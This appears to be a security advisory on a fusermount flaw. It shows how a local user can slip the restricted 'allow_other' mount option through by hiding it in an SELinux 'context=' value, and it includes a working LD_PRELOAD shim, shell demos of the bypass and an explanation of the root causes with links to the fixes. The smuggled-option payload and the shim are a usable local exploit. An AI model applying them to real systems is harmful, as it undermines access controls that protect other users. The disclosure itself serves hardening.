fusermount – user_allow_other Restriction Bypass and SELinux Label Control
/* It is possible to bypass fusermount's restrictions on the use of the "allow_other" mount option as follows if SELinux is active. Here's a minimal demo, tested on a Debian system with SELinux enabled in permissive mode: =============================================== uuser@debian:~$ mount|grep /mount user@debian:~$ grep user_allow_other /etc/fuse.conf #user_allow_other user@debian:~$ _FUSE_COMMFD=10000 fusermount -o allow_other mount/ fusermount: option allow_other only allowed if 'user_allow_other' is set in /etc/fuse.conf user@debian:~$ _FUSE_COMMFD=10000 fusermount -o 'context=system_u:object_r:fusefs_t:s0-s0:c0-\,allow_other' mount sending file descriptor: Bad file descriptor user@debian:~$ mount|grep /mount /dev/fuse on /home/user/mount type fuse (rw,nosuid,nodev,relatime,context=system_u:object_r:fusefs_t:s0-s0:c0,user_id=1000,group_id=1000,allow_other) =============================================== Here's a demo that actually mounts a real FUSE filesystem with allow_other, again on a Debian system configured to use SELinux: =============================================== user@debian:~$ cat fuse-shim.c */ #define _GNU_SOURCE #include <unistd.h> #include <dlfcn.h> #include <stdlib.h> int execv(const char *path, char *const argv_[]) { char **argv = (void*)argv_; /* cast away const */ for (char **argvp = argv; *argvp != NULL; argvp++) { char *arg = *argvp; for (char *p = arg; *p; p++) { if (*p == '#') *p = '\\'; } } int (*execv_real)(const char *, char *const argv[]) = dlsym(RTLD_NEXT, "execv"); execv_real(path, argv_); } /* user@debian:~$ gcc -shared -o fuse-shim.so fuse-shim.c -ldl user@debian:~$ echo hello world > hello.txt user@debian:~$ zip hello.zip hello.txt adding: hello.txt (stored 0%) user@debian:~$ LD_PRELOAD=./fuse-shim.so fuse-zip -o 'context=system_u:object_r:fusefs_t:s0-s0:c0-#,allow_other' hello.zip mount user@debian:~$ mount|grep /mount fuse-zip on /home/user/mount type fuse.fuse-zip (rw,nosuid,nodev,relatime,context=system_u:object_r:fusefs_t:s0-s0:c0,user_id=1000,group_id=1000,allow_other) user@debian:~$ sudo bash root@debian:/home/user# ls -laZ mount total 5 drwxrwxr-x. 3 root root system_u:object_r:fusefs_t:s0-s0:c0 0 Jul 18 02:19 . drwxr-xr-x. 30 user user system_u:object_r:unlabeled_t:s0 4096 Jul 18 02:19 .. -rw-r--r--. 1 user user system_u:object_r:fusefs_t:s0-s0:c0 12 Jul 18 02:19 hello.txt root@debian:/home/user# cat mount/hello.txt hello world =============================================== I have tested that this also works on Fedora (which, unlike Debian, has SELinux enabled by default.) Unfortunately, I only noticed that this was possible after I publicly sent some fusermount hardening patches (https://github.com/libfuse/libfuse/pull/268), when the maintainer asked a question about one of the patches. Breaking down the attack, the problems are: 1. fusermount's do_mount() is written as if backslashes escape commas in mount options; however, this is only true for the "fsname" and "subtype" pseudo-options filtered out by do_mount(). Neither SELinux nor the FUSE filesystem follow those semantics. This means that an attacker can smuggle a forbidden option through fusermount's checks if the previous option ends with a backslash. However, no option accepted by the FUSE filesystem can end with a backslash, so this seemed unexploitable at first. This is fixed by the following commit in my pull request: https://github.com/libfuse/libfuse/pull/268/commits/455e73588357 2. fusermount uses a blacklist, not a whitelist; this blacklist does not contain the mount options understood by the SELinux and Smack LSMs. LSMs have the opportunity to grab mount options and make them invisible to the actual filesystem through the security_sb_copy_data() security hook. For this attack, I'm using the "context" option. This is fixed by the following commit in my pull request: https://github.com/libfuse/libfuse/pull/268/commits/d23efabfcee4 3. The SELinux LSM is slightly lax about parsing the level component of SELinux context strings when the policy uses Multi-Level Security (MLS). When using MLS, the format of a context string is "<user>:<role>:<type>:<level>"; the level component is parsed by mls_context_to_sid(). The level component is supposed to specify a sensitivity range (one or two parts delimited with '-'); each part of the range may be followed by ':' and a category set specification. If the sensitivity range consists of two parts and the second part of the range is followed by a category set, the function incorrectly marks a trailing '-' and any following data until ':' or '\0' as consumed, but does not actually parse this data. This allows an attacker to smuggle a backslash through. */ |